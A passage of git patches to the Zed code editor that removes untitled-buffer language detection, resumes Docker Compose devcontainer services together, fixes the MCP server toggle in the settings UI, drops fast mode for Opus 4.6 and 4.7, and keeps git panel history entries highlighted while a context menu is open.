-const MIN_LANGUAGE_DETECTION_LEN: usize = 20;
-const MIN_LANGUAGE_DETECTION_CONFIDENCE: f32 = 0.5;
 pub(crate) const CURSORS_VISIBLE_FOR: Duration = Duration::from_millis(2000);
 #[doc(hidden)]
 pub const CODE_ACTIONS_DEBOUNCE_TIMEOUT: Duration = Duration::from_millis(250);
@@ -9557,9 +9554,8 @@ impl Editor {
                         cx.emit(EditorEvent::TitleChanged);
                     }
 
-                    let buffer_id = buffer.read(cx).remote_id();
-
                     if self.project.is_some() {
+                        let buffer_id = buffer.read(cx).remote_id();
                         self.register_buffer(buffer_id, cx);
                         self.update_lsp_data(Some(buffer_id), window, cx);
                         self.refresh_inlay_hints(
@@ -9567,8 +9563,6 @@ impl Editor {
                             cx,
                         );
                     }
-
-                    self.detect_buffer_language(buffer_id, cx);
                 }
 
                 cx.emit(EditorEvent::BufferEdited);
@@ -10822,46 +10816,6 @@ impl Editor {
         self.refresh_document_symbols(for_buffer, cx);
     }
 
-    fn detect_buffer_language(&self, buffer_id: BufferId, cx: &mut Context<Self>) {
-        if DisableAiSettings::get_global(cx).disable_ai {
-            return;
-        }
-
-        let Some(buffer_entity) = self.buffer().read(cx).buffer(buffer_id) else {
-            return;
-        };
-
-        let buffer = buffer_entity.read(cx);
-        if buffer.file().is_some() {
-            return;
-        }
-
-        let buffer_snapshot = buffer.snapshot();
-        if buffer_snapshot.len() < MIN_LANGUAGE_DETECTION_LEN {
-            return;
-        }
-
-        let Some(language_registry) = buffer.language_registry() else {
-            return;
-        };
-        let buffer_version = buffer_snapshot.version().clone();
-        let detected_language = detect_language(buffer_snapshot, language_registry, cx);
-
-        cx.spawn(async move |_, cx| {
-            if let Some((detected_language, confidence)) = detected_language.await {
-                if confidence < MIN_LANGUAGE_DETECTION_CONFIDENCE {
-                    return;
-                }
-                buffer_entity.update(cx, |buffer, cx| {
-                    if buffer.file().is_none() && !buffer.version().changed_since(&buffer_version) {
-                        buffer.set_language(Some(detected_language), cx);
-                    }
-                });
-            }
-        })
-        .detach();
-    }
-
     fn register_visible_buffers(&mut self, cx: &mut Context<Self>) {
         if !self.lsp_data_enabled() {
             return;
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index f67b04c2112291..015e8b5b43c424 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -35,7 +35,8 @@ use language::{
     tree_sitter_python,
 };
 use language_settings::Formatter;
-use languages::{language, markdown_lang, rust_lang};
+use languages::markdown_lang;
+use languages::rust_lang;
 use lsp::{CompletionParams, DEFAULT_LSP_REQUEST_TIMEOUT};
 use multi_buffer::{IndentGuide, MultiBuffer, MultiBufferOffset, MultiBufferOffsetUtf16, PathKey};
 use parking_lot::Mutex;
@@ -9602,80 +9603,6 @@ async fn test_kill_ring_yank_pastes_accumulated_kill_at_each_cursor(cx: &mut Tes
     cx.assert_editor_state("aone\nˇ bone\nˇ");
 }
 
-#[gpui::test]
-async fn test_editing_untitled_buffer_redetects_language(cx: &mut TestAppContext) {
-    init_test(cx, |_| {});
-
-    let fs = FakeFs::new(cx.executor());
-    let project = Project::test(fs, [], cx).await;
-    let go_language = language("go", tree_sitter_go::LANGUAGE.into());
-    project.read_with(cx, |project, _| {
-        project.languages().add(rust_lang());
-        project.languages().add(go_language.clone());
-    });
-    let buffer = project
-        .update(cx, |project, cx| project.create_buffer(None, true, cx))
-        .await
-        .unwrap();
-    let window = cx.add_window(|window, cx| {
-        let editor = build_editor_with_project(
-            project,
-            MultiBuffer::build_from_buffer(buffer.clone(), cx),
-            window,
-            cx,
-        );
-        window.focus(&editor.focus_handle(cx), cx);
-        editor
-    });
-    let editor = window.root(cx).unwrap();
-    let cx = &mut VisualTestContext::from_window(*window, cx);
-
-    assert_eq!(
-        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
-        PLAIN_TEXT.name()
-    );
-
-    editor.update_in(cx, |editor, window, cx| {
-        editor.insert("fn main() {}", window, cx);
-    });
-    cx.run_until_parked();
-
-    assert_eq!(
-        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
-        PLAIN_TEXT.name()
-    );
-
-    editor.update_in(cx, |editor, window, cx| {
-        editor.select_all(&SelectAll, window, cx);
-        editor.insert("fn main() { println!(\"hello\"); }", window, cx);
-    });
-    cx.run_until_parked();
-
-    assert_eq!(
-        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
-        rust_lang().name()
-    );
-
-    editor.update_in(cx, |editor, window, cx| {
-        editor.select_all(&SelectAll, window, cx);
-        editor.backspace(&Backspace, window, cx);
-    });
-    cx.run_until_parked();
-
-    editor.update_in(cx, |editor, window, cx| {
-        cx.write_to_clipboard(ClipboardItem::new_string(
-            "package main\n\nimport \"fmt\"\n\nfunc main() { fmt.Println(\"hello\") }".to_string(),
-        ));
-        editor.paste(&Paste, window, cx);
-    });
-    cx.run_until_parked();
-
-    assert_eq!(
-        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
-        go_language.name()
-    );
-}
-
 #[gpui::test]
 async fn test_clipboard(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/language_detection/Cargo.toml b/crates/language_detection/Cargo.toml
deleted file mode 100644
index b2d80c6f162ecd..00000000000000
--- a/crates/language_detection/Cargo.toml
+++ /dev/null
@@ -1,17 +0,0 @@
-[package]
-name = "language_detection"
-version = "0.1.0"
-edition.workspace = true
-publish.workspace = true
-license = "GPL-3.0-or-later"
-
-[lints]
-workspace = true
-
-[lib]
-path = "src/language_detection.rs"
-
-[dependencies]
-betlang.workspace = true
-gpui.workspace = true
-language.workspace = true
diff --git a/crates/language_detection/LICENSE-GPL b/crates/language_detection/LICENSE-GPL
deleted file mode 120000
index 89e542f750cd38..00000000000000
--- a/crates/language_detection/LICENSE-GPL
+++ /dev/null
@@ -1 +0,0 @@
-../../LICENSE-GPL
\ No newline at end of file
diff --git a/crates/language_detection/src/language_detection.rs b/crates/language_detection/src/language_detection.rs
deleted file mode 100644
index 3c41bf34a88dbc..00000000000000
--- a/crates/language_detection/src/language_detection.rs
+++ /dev/null
@@ -1,58 +0,0 @@
-use gpui::{App, AppContext, Task};
-use language::{BufferSnapshot, Language, LanguageRegistry};
-use std::sync::Arc;
-
-const SAMPLE_BLOCK_SIZE: usize = 4096;
-
-fn language_registry_key(language: betlang::Language) -> &'static str {
-    match language {
-        betlang::Language::ObjectiveC => "Objective-C",
-        betlang::Language::Shell => "Shell Script",
-        _ => language.slug(),
-    }
-}
-
-pub fn detect_language(
-    buffer: BufferSnapshot,
-    language_registry: Arc<LanguageRegistry>,
-    cx: &mut App,
-) -> Task<Option<(Arc<Language>, f32)>> {
-    let source = extract_sample(&buffer);
-    cx.background_spawn(async move {
-        let detection = betlang::detect(source);
-        let (confidence, language) = detection.top_languages().next()?;
-        let language = language_registry
-            .language_for_name_or_extension(language_registry_key(language))
-            .await
-            .ok()?;
-
-        Some((language, confidence))
-    })
-}
-
-fn extract_sample(buffer: &BufferSnapshot) -> Vec<u8> {
-    let source_length = buffer.len();
-    let ranges = if source_length <= SAMPLE_BLOCK_SIZE * 2 {
-        vec![0..source_length]
-    } else {
-        vec![
-            0..SAMPLE_BLOCK_SIZE,
-            source_length - SAMPLE_BLOCK_SIZE..source_length,
-        ]
-    };
-
-    ranges
-        .into_iter()
-        .flat_map(|range| buffer.bytes_in_range(range))
-        .flat_map(|chunk| chunk.iter().copied())
-        .collect()
-}
-
-#[cfg(test)]
-mod tests {
-    #[test]
-    fn detects_rust_source() {
-        let detection = betlang::detect("fn main() { println!(\"hello\"); }");
-        assert_eq!(detection.language(), Some(betlang::Language::Rust));
-    }
-}

From ad6773d433e0e5baff3fee7e65ab42640389c776 Mon Sep 17 00:00:00 2001
From: Jonathan DEKHTIAR <jonathan@dekhtiar.com>
Date: Mon, 20 Jul 2026 19:04:01 +0200
Subject: [PATCH 573/772] dev_container: Resume configured Compose services
 together (#60780)

# Objective

Docker Compose devcontainers currently resume only the primary container
when an existing environment is stopped. Supporting services listed in
`runServices`, such as databases and caches, remain stopped.

Fixes #60779

## Solution

Reuse the Docker Compose startup path when resuming an existing
Compose-based devcontainer.

The resume path now:

- Runs `docker compose up -d --no-recreate`.
- Targets the services configured in `runServices`.
- Uses the original Compose files and project name.
- Avoids recreating the existing devcontainer.
- Preserves the existing `docker start` behavior for non-Compose
devcontainers.

A regression test verifies that the requested services are resumed,
unrelated services are excluded, and the existing container is not
recreated.

## Testing

Tested on macOS with:

- `cargo fmt --all --check`
- `cargo test -p dev_container`
- `cargo clippy -p dev_container --tests -- -D warnings`

All 112 `dev_container` tests pass.

Also tested against a multi-service Docker Compose devcontainer
containing a workspace, web server, PostgreSQL, Redis, and Celery. All
configured services resumed while the workspace container retained the
same container ID.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Release Notes:

- Fixed Docker Compose dev containers not starting all configured
services when resuming an existing environment.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 .../src/devcontainer_manifest.rs              | 117 ++++++++++++++++--
 1 file changed, 107 insertions(+), 10 deletions(-)

diff --git a/crates/dev_container/src/devcontainer_manifest.rs b/crates/dev_container/src/devcontainer_manifest.rs
index 1f2b2373819440..3392e01da59e00 100644
--- a/crates/dev_container/src/devcontainer_manifest.rs
+++ b/crates/dev_container/src/devcontainer_manifest.rs
@@ -36,6 +36,11 @@ enum ConfigStatus {
     VariableParsed(DevContainer),
 }
 
+enum ComposeUpBehavior {
+    Resume,
+    Create,
+}
+
 #[derive(Debug, Clone, Eq, PartialEq, Default)]
 pub(crate) struct DockerComposeResources {
     files: Vec<PathBuf>,
@@ -1800,13 +1805,34 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
         &self,
         resources: DockerComposeResources,
     ) -> Result<DockerInspect, DevContainerError> {
+        self.start_docker_compose_services(&resources, ComposeUpBehavior::Create)
+            .await?;
+
+        if let Some(docker_ps) = self.check_for_existing_container().await? {
+            log::debug!("Found newly created dev container");
+            return self.docker_client.inspect(&docker_ps.id).await;
+        }
+
+        log::error!("Could not find existing container after docker compose up");
+
+        Err(DevContainerError::DevContainerParseFailed)
+    }
+
+    async fn start_docker_compose_services(
+        &self,
+        resources: &DockerComposeResources,
+        behavior: ComposeUpBehavior,
+    ) -> Result<(), DevContainerError> {
         let mut command = Command::new(self.docker_client.docker_cli());
         let project_name = self.project_name().await?;
         command.args(&["compose", "--project-name", &project_name]);
-        for docker_compose_file in resources.files {
+        for docker_compose_file in &resources.files {
             command.args(&["-f", &docker_compose_file.display().to_string()]);
         }
         command.args(&["up", "-d"]);
+        if matches!(behavior, ComposeUpBehavior::Resume) {
+            command.arg("--no-recreate");
+        }
         if let Some(run_services) = self.dev_container().run_services.as_ref() {
             command.args(run_services);
         }
@@ -1828,14 +1854,7 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
             ));
         }
 
-        if let Some(docker_ps) = self.check_for_existing_container().await? {
-            log::debug!("Found newly created dev container");
-            return self.docker_client.inspect(&docker_ps.id).await;
-        }
-
-        log::error!("Could not find existing container after docker compose up");
-
-        Err(DevContainerError::DevContainerParseFailed)
+        Ok(())
     }
 
     async fn run_docker_image(
@@ -2165,7 +2184,15 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
 
             if !docker_inspect.is_running() {
                 log::debug!("Container not running. Will attempt to start, and then proceed");
-                self.docker_client.start_container(&docker_ps.id).await?;
+
+                match self.dev_container().build_type() {
+                    DevContainerBuildType::DockerCompose => {
+                        let resources = self.docker_compose_manifest().await?;
+                        self.start_docker_compose_services(&resources, ComposeUpBehavior::Resume)
+                            .await?
+                    }
+                    _ => self.docker_client.start_container(&docker_ps.id).await?,
+                }
             }
 
             let remote_user = get_remote_user_from_config(&docker_inspect, self)?;
@@ -2975,6 +3002,7 @@ mod test {
     use fs::{FakeFs, Fs};
     use gpui::{AppContext, TestAppContext};
     use http_client::{AsyncBody, FakeHttpClient, HttpClient};
+    use indoc::indoc;
     use project::{
         ProjectEnvironment,
         worktree_store::{WorktreeIdCounter, WorktreeStore},
@@ -4969,6 +4997,75 @@ RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
         );
     }
 
+    #[gpui::test]
+    async fn test_resumes_only_requested_compose_services_without_recreating(
+        cx: &mut TestAppContext,
+    ) {
+        let devcontainer_contents = r#"
+        {
+          "dockerComposeFile": "docker-compose.yml",
+          "service": "devcontainer",
+          "runServices": ["devcontainer", "db"],
+          "workspaceFolder": "/workspaces/project",
+          "updateRemoteUserUID": false
+        }
+        "#;
+        let (test_dependencies, mut devcontainer_manifest) =
+            init_default_devcontainer_manifest(cx, devcontainer_contents)
+                .await
+                .unwrap();
+
+        test_dependencies
+            .fs
+            .atomic_write(
+                PathBuf::from(TEST_PROJECT_PATH).join(".devcontainer/docker-compose.yml"),
+                indoc! {r#"
+                    services:
+                        app:
+                            image: test_image:latest
+                        devcontainer:
+                            image: test_image:latest
+                        db:
+                            image: postgres:18.4
+                "# }
+                .to_string(),
+            )
+            .await
+            .unwrap();
+
+        devcontainer_manifest.parse_nonremote_vars().unwrap();
+
+        assert!(
+            devcontainer_manifest
+                .check_for_existing_devcontainer()
+                .await
+                .unwrap()
+                .is_some()
+        );
+
+        let command = test_dependencies
+            .command_runner
+            .commands_by_program("docker")
+            .into_iter()
+            .find(|command| {
+                command.args.first().map(String::as_str) == Some("compose")
+                    && command.args.iter().any(|argument| argument == "up")
+            })
+            .expect("docker compose up command recorded");
+
+        assert!(
+            command.args.ends_with(&[
+                "up".to_string(),
+                "-d".to_string(),
+                "--no-recreate".to_string(),
+                "devcontainer".to_string(),
+                "db".to_string(),
+            ]),
+            "compose resume should target requested services without recreating them, got: {:?}",
+            command.args
+        );
+    }
+
     #[cfg(not(target_os = "windows"))]
     #[gpui::test]
     async fn test_spawns_devcontainer_with_docker_compose_and_podman(cx: &mut TestAppContext) {

From 604221dbc7581a6f7272045914e7608a2dec7931 Mon Sep 17 00:00:00 2001
From: counterfactual5 <108983446+counterfactual5@users.noreply.github.com>
Date: Tue, 21 Jul 2026 01:08:32 +0800
Subject: [PATCH 574/772] settings_ui: Fix MCP server toggle not updating in UI
 (#60552)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes an issue where toggling an MCP server on/off in Settings → AI →
MCP Servers does not update the toggle state in the UI immediately.

## Root Cause

There were two issues:

1. `ContextServerStore::update_server_state()` and `remove_server()`
emitted `ServerStatusChangedEvent` but did not call `cx.notify()`, so
Settings UI observers were not informed to re-render.

2. `render_toggle_switch()` was bound to `is_running` (runtime status)
instead of `is_enabled` (settings state).

## Solution

- Add `cx.notify()` in both methods after emitting the status event.
- Change toggle to read `settings.enabled()` and rename parameter from
`is_running` to `is_enabled`.

## Testing

- `cargo check -p settings_ui -p project` passes.
- `cargo fmt --check` passes.
- Manual verification: open Settings → AI → MCP Servers, toggle a
server, observe immediate UI update.

---

Release Notes:

- Fixed MCP server toggle not updating immediately in Settings UI.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/project/src/context_server_store.rs    | 17 ++++
 .../tests/integration/context_server_store.rs | 86 +++++++++++++++++++
 .../settings_ui/src/pages/mcp_servers_page.rs | 15 +++-
 3 files changed, 114 insertions(+), 4 deletions(-)

diff --git a/crates/project/src/context_server_store.rs b/crates/project/src/context_server_store.rs
index 3fb29cdb1c9300..9e3a65134dc510 100644
--- a/crates/project/src/context_server_store.rs
+++ b/crates/project/src/context_server_store.rs
@@ -570,6 +570,21 @@ impl ContextServerStore {
         }
     }
 
+    /// Returns whether a server is enabled.
+    /// Servers with no settings entry only originate from an extension
+    /// descriptor in the registry, and those are enabled by default
+    /// ([`ContextServerSettings::default_extension`]).
+    pub fn is_server_enabled(&self, id: &ContextServerId, cx: &App) -> bool {
+        match self.settings_for_server(id) {
+            Some(settings) => settings.enabled(),
+            None => self
+                .registry
+                .read(cx)
+                .context_server_descriptor(&id.0)
+                .is_some(),
+        }
+    }
+
     /// Returns a sorted slice of available unique context server IDs. Within the
     /// slice, context servers which have `mcp-server-` as a prefix in their ID will
     /// appear after servers that do not have this prefix in their ID.
@@ -859,6 +874,7 @@ impl ContextServerStore {
             server_id: id.clone(),
             status: ContextServerStatus::Stopped,
         });
+        cx.notify();
         Ok(())
     }
 
@@ -1667,6 +1683,7 @@ impl ContextServerStore {
             server_id: id,
             status,
         });
+        cx.notify();
     }
 
     fn available_context_servers_changed(&mut self, cx: &mut Context<Self>) {
diff --git a/crates/project/tests/integration/context_server_store.rs b/crates/project/tests/integration/context_server_store.rs
index 2600708df09344..984bb334edbf5a 100644
--- a/crates/project/tests/integration/context_server_store.rs
+++ b/crates/project/tests/integration/context_server_store.rs
@@ -1658,6 +1658,92 @@ async fn test_multi_worktree_duplicate_server_first_wins(cx: &mut TestAppContext
     });
 }
 
+#[gpui::test]
+async fn test_is_server_enabled(cx: &mut TestAppContext) {
+    // We'll be setting up 4 different servers in order to test the following
+    // scenarios:
+    //
+    // 1. Explicit Settings, Enabled
+    // 2. Explicit Settings, Disabled
+    // 3. No Settings, Registry Descriptor, Enabled
+    // 4. No Settings, No Descriptor, Disabled
+    const SERVER_1_ID: &str = "mcp-1";
+    const SERVER_2_ID: &str = "mcp-2";
+    const SERVER_3_ID: &str = "mcp-3";
+    const SERVER_4_ID: &str = "mcp-4";
+
+    let (_fs, project) = setup_context_server_test(
+        cx,
+        json!({"code.rs": ""}),
+        vec![
+            (
+                SERVER_1_ID.into(),
+                ContextServerSettings::Extension {
+                    enabled: true,
+                    remote: false,
+                    settings: json!({}),
+                },
+            ),
+            (
+                SERVER_2_ID.into(),
+                ContextServerSettings::Extension {
+                    enabled: false,
+                    remote: false,
+                    settings: json!({}),
+                },
+            ),
+        ],
+    )
+    .await;
+
+    let registry = cx.new(|cx| {
+        let mut registry = ContextServerDescriptorRegistry::new();
+        let descriptor = Arc::new(FakeContextServerDescriptor::new(SERVER_3_ID));
+        registry.register_context_server_descriptor(SERVER_3_ID.into(), descriptor, cx);
+
+        registry
+    });
+
+    let store = cx.new(|cx| {
+        ContextServerStore::test(
+            registry.clone(),
+            project.read(cx).worktree_store(),
+            Some(project.downgrade()),
+            cx,
+        )
+    });
+
+    // Sanity check before proceeding, confirm server 1 and 2 have settings,
+    // server 3 is present in the registry while server 4 does not meet any of
+    // the conditions.
+    cx.update(|cx| {
+        let settings = ProjectSettings::get_global(cx);
+
+        assert!(settings.context_servers.contains_key(SERVER_1_ID));
+        assert!(settings.context_servers.contains_key(SERVER_2_ID));
+        assert!(!settings.context_servers.contains_key(SERVER_3_ID));
+        assert!(!settings.context_servers.contains_key(SERVER_4_ID));
+    });
+
+    registry.update(cx, |registry, _cx| {
+        let descriptors = registry.context_server_descriptors();
+        assert_eq!(descriptors.len(), 1);
+        assert_eq!(descriptors[0].0.as_ref(), SERVER_3_ID);
+    });
+
+    let server_1_id = ContextServerId(SERVER_1_ID.into());
+    let server_2_id = ContextServerId(SERVER_2_ID.into());
+    let server_3_id = ContextServerId(SERVER_3_ID.into());
+    let server_4_id = ContextServerId(SERVER_4_ID.into());
+
+    store.read_with(cx, |store, cx| {
+        assert!(store.is_server_enabled(&server_1_id, cx));
+        assert!(!store.is_server_enabled(&server_2_id, cx));
+        assert!(store.is_server_enabled(&server_3_id, cx));
+        assert!(!store.is_server_enabled(&server_4_id, cx));
+    })
+}
+
 fn assert_server_events(
     store: &Entity<ContextServerStore>,
     expected_events: Vec<(ContextServerId, ContextServerStatus)>,
diff --git a/crates/settings_ui/src/pages/mcp_servers_page.rs b/crates/settings_ui/src/pages/mcp_servers_page.rs
index f06e6b33beebeb..2e5f96289657cd 100644
--- a/crates/settings_ui/src/pages/mcp_servers_page.rs
+++ b/crates/settings_ui/src/pages/mcp_servers_page.rs
@@ -163,6 +163,11 @@ fn render_context_server(
     let server_configuration = store.read(cx).configuration_for_server(context_server_id);
 
     let is_running = matches!(server_status, ContextServerStatus::Running);
+    let is_enabled = store.read(cx).is_server_enabled(context_server_id, cx);
+    let is_transitioning = matches!(
+        server_status,
+        ContextServerStatus::Starting | ContextServerStatus::Authenticating
+    );
     let item_id = SharedString::from(context_server_id.0.to_string());
 
     // Determine the source from the configured settings rather than the runtime
@@ -170,7 +175,6 @@ fn render_context_server(
     // started has no runtime configuration, and must not be mistaken for an
     // extension-provided server.
     let provided_by_extension = store.read(cx).is_extension_provided(context_server_id, cx);
-
     let display_name = if provided_by_extension {
         resolve_extension_display_name(context_server_id, cx).unwrap_or_else(|| item_id.clone())
     } else {
@@ -218,7 +222,8 @@ fn render_context_server(
     let uninstall_button = render_uninstall_button(context_server_id, provided_by_extension);
 
     // Build toggle switch
-    let toggle_switch = render_toggle_switch(context_server_id, store, is_running);
+    let toggle_switch =
+        render_toggle_switch(context_server_id, store, is_enabled, is_transitioning);
 
     // Surface invalid settings (which prevent the server from starting at all)
     // ahead of runtime status feedback, so the misconfiguration is visible.
@@ -317,19 +322,21 @@ fn render_uninstall_button(
 fn render_toggle_switch(
     context_server_id: &ContextServerId,
     store: &Entity<ContextServerStore>,
-    is_running: bool,
+    is_enabled: bool,
+    is_transitioning: bool,
 ) -> impl IntoElement {
     let context_server_id = context_server_id.clone();
     let store = store.clone();
 
     Switch::new(
         SharedString::from(format!("mcp-toggle-{}", context_server_id.0)),
-        if is_running {
+        if is_enabled {
             ToggleState::Selected
         } else {
             ToggleState::Unselected
         },
     )
+    .disabled(is_transitioning)
     .tab_index(0isize)
     .on_click({
         move |state, _window, cx| {

From 6af2f1864f3500dd26c27a85162ad7acf9ef51bd Mon Sep 17 00:00:00 2001
From: tidely <43219534+tidely@users.noreply.github.com>
Date: Mon, 20 Jul 2026 20:23:54 +0300
Subject: [PATCH 575/772] anthropic: Deprecate fast mode for Opus 4.6 and Opus
 4.7 (#61341)

TLDR: Opus 4.6 has been falling back to standard speed. Opus 4.7 fast
mode API will error after July 24th.

This will likely need to be cherry-picked to stable for either
Wednesday's release, or be pushed out separately on the 24th to maximize
availability. Although I don't think there are many Opus 4.7 fast mode
users, so Wednesday seems better to me.

> Fast mode for Claude Opus 4.7 is deprecated as of June 25, 2026, and
will be removed on July 24, 2026. After removal, requests to
claude-opus-4-7 with speed: "fast" will return an error; unlike Claude
Opus 4.6 (see the following note), Claude Opus 4.7 does not fall back to
standard speed. The model itself remains available at standard speed. To
continue using fast mode, migrate to Claude Opus 4.8.

Source: https://platform.claude.com/docs/en/build-with-claude/fast-mode

Release Notes:

- Deprecated Fast Mode for Opus 4.6 and Opus 4.7
---
 crates/anthropic/src/anthropic.rs | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/crates/anthropic/src/anthropic.rs b/crates/anthropic/src/anthropic.rs
index cf8d547cc3e364..3531924f295e1a 100644
--- a/crates/anthropic/src/anthropic.rs
+++ b/crates/anthropic/src/anthropic.rs
@@ -22,10 +22,7 @@ pub const ANTHROPIC_API_URL: &str = "https://api.anthropic.com";
 pub const FAST_MODE_BETA_HEADER: &str = "fast-mode-2026-02-01";
 
 pub fn supports_fast_mode(model_id: &str) -> bool {
-    matches!(
-        model_id,
-        "claude-opus-4-6" | "claude-opus-4-7" | "claude-opus-4-8"
-    )
+    matches!(model_id, "claude-opus-4-8")
 }
 
 pub const FABLE_MODEL_ID_PREFIX: &str = "claude-fable-5";

From 3de8ad917468e08957a416a6a37b64a76dbc7298 Mon Sep 17 00:00:00 2001
From: "Joseph T. Lyons" <JosephTLyons@gmail.com>
Date: Mon, 20 Jul 2026 13:27:25 -0400
Subject: [PATCH 576/772] Keep git panel history entry highlighted while
 context menu is open (#61354)

Also, unifies the naming of the variable naming for the target entry in
both the git graph and git panel history tab.

Release Notes:

- Improved the git panel's history tab to keep an entry highlighted
while its context menu is open
---
 crates/git_ui/src/git_graph.rs | 21 ++++++++++-------
 crates/git_ui/src/git_panel.rs | 43 +++++++++++++++++++++++++++-------
 2 files changed, 47 insertions(+), 17 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 6e1ddd12de3c52..d9fc6bf52cac80 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -1294,7 +1294,7 @@ fn compute_diff_stats(diff: &CommitDiff) -> (usize, usize) {
 struct GitGraphContextMenu {
     menu: Entity<ContextMenu>,
     position: Point<Pixels>,
-    entry_idx: Option<usize>,
+    target_entry_index: Option<usize>,
     _subscription: Subscription,
 }
 
@@ -2446,7 +2446,7 @@ impl GitGraph {
         &mut self,
         context_menu: Entity<ContextMenu>,
         position: Point<Pixels>,
-        entry_idx: Option<usize>,
+        target_entry_index: Option<usize>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -2471,7 +2471,7 @@ impl GitGraph {
         self.context_menu = Some(GitGraphContextMenu {
             menu: context_menu,
             position,
-            entry_idx,
+            target_entry_index,
             _subscription: subscription,
         });
         cx.notify();
@@ -3205,7 +3205,10 @@ impl GitGraph {
 
         let hovered_entry_idx = self.hovered_entry_idx;
         let selected_entry_idx = self.selected_entry_idx;
-        let context_menu_entry_idx = self.context_menu.as_ref().and_then(|menu| menu.entry_idx);
+        let context_menu_target_index = self
+            .context_menu
+            .as_ref()
+            .and_then(|menu| menu.target_entry_index);
         let is_focused = self.focus_handle.is_focused(window);
         let graph_canvas_bounds = self.graph_canvas_bounds.clone();
 
@@ -3229,7 +3232,7 @@ impl GitGraph {
                         let is_hovered = hovered_entry_idx == Some(absolute_row_idx);
                         let is_selected = selected_entry_idx == Some(absolute_row_idx);
                         let is_context_menu_target =
-                            context_menu_entry_idx == Some(absolute_row_idx);
+                            context_menu_target_index == Some(absolute_row_idx);
 
                         if is_hovered || is_selected || is_context_menu_target {
                             let row_y = bounds.origin.y + visible_row_idx as f32 * row_height
@@ -3840,8 +3843,10 @@ impl Render for GitGraph {
                             let row_height = Self::row_height(window, cx);
                             let selected_entry_idx = self.selected_entry_idx;
                             let hovered_entry_idx = self.hovered_entry_idx;
-                            let context_menu_entry_idx =
-                                self.context_menu.as_ref().and_then(|menu| menu.entry_idx);
+                            let context_menu_target_index = self
+                                .context_menu
+                                .as_ref()
+                                .and_then(|menu| menu.target_entry_index);
                             let weak_self = cx.weak_entity();
                             let focus_handle = self.focus_handle.clone();
                             let table_focus_handle =
@@ -3881,7 +3886,7 @@ impl Render for GitGraph {
                                     let is_selected = selected_entry_idx == Some(index);
                                     let is_hovered = hovered_entry_idx == Some(index);
                                     let is_context_menu_target =
-                                        context_menu_entry_idx == Some(index);
+                                        context_menu_target_index == Some(index);
                                     let table_focus_handle = table_focus_handle.clone();
                                     let is_focused = focus_handle.is_focused(window)
                                         || table_focus_handle.is_focused(window);
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index a5b311fd52b742..55b1f9ffb25279 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -895,6 +895,13 @@ impl TruncatedPatch {
     }
 }
 
+struct GitPanelContextMenu {
+    menu: Entity<ContextMenu>,
+    position: Point<Pixels>,
+    target_entry_index: Option<usize>,
+    _subscription: Subscription,
+}
+
 pub struct GitPanel {
     pub(crate) active_repository: Option<Entity<Repository>>,
     pub(crate) commit_editor: Entity<Editor>,
@@ -934,7 +941,7 @@ pub struct GitPanel {
     update_visible_entries_task: Task<()>,
     reopen_commit_buffer_task: Task<()>,
     pub(crate) workspace: WeakEntity<Workspace>,
-    context_menu: Option<(Entity<ContextMenu>, Point<Pixels>, Subscription)>,
+    context_menu: Option<GitPanelContextMenu>,
     modal_open: bool,
     show_placeholders: bool,
     // Only read to compute collaborative co-authors, which requires the `call` feature.
@@ -6232,7 +6239,7 @@ impl GitPanel {
         );
         self.focused_history_entry = Some(index);
         self.history_keyboard_nav = false;
-        self.set_context_menu(context_menu, position, window, cx);
+        self.set_context_menu(context_menu, position, Some(index), window, cx);
     }
 
     fn activate_changes_tab(
@@ -6396,6 +6403,10 @@ impl GitPanel {
         let is_panel_focused = self.focus_handle.is_focused(window);
         let show_focus_border = self.history_keyboard_nav;
         let has_context_menu = self.context_menu.is_some();
+        let context_menu_target_index = self
+            .context_menu
+            .as_ref()
+            .and_then(|context_menu| context_menu.target_entry_index);
 
         let ahead_count = active_repository
             .read(cx)
@@ -6488,6 +6499,8 @@ impl GitPanel {
 
                                     let is_unpushed = index < ahead_count;
                                     let is_focused = focused_history_entry == Some(index);
+                                    let is_context_menu_target =
+                                        context_menu_target_index == Some(index);
                                     let workspace = workspace.clone();
                                     let repo = repo_weak.clone();
                                     let sha_for_click = sha_string;
@@ -6517,6 +6530,9 @@ impl GitPanel {
                                             },
                                         )
                                         .hover(|s| s.bg(cx.theme().colors().element_hover))
+                                        .when(is_context_menu_target, |this| {
+                                            this.bg(cx.theme().colors().element_hover)
+                                        })
                                         .child(
                                             h_flex()
                                                 .gap_1()
@@ -7174,7 +7190,7 @@ impl GitPanel {
                 })
         });
         self.selected_entry = Some(ix);
-        self.set_context_menu(context_menu, position, window, cx);
+        self.set_context_menu(context_menu, position, None, window, cx);
     }
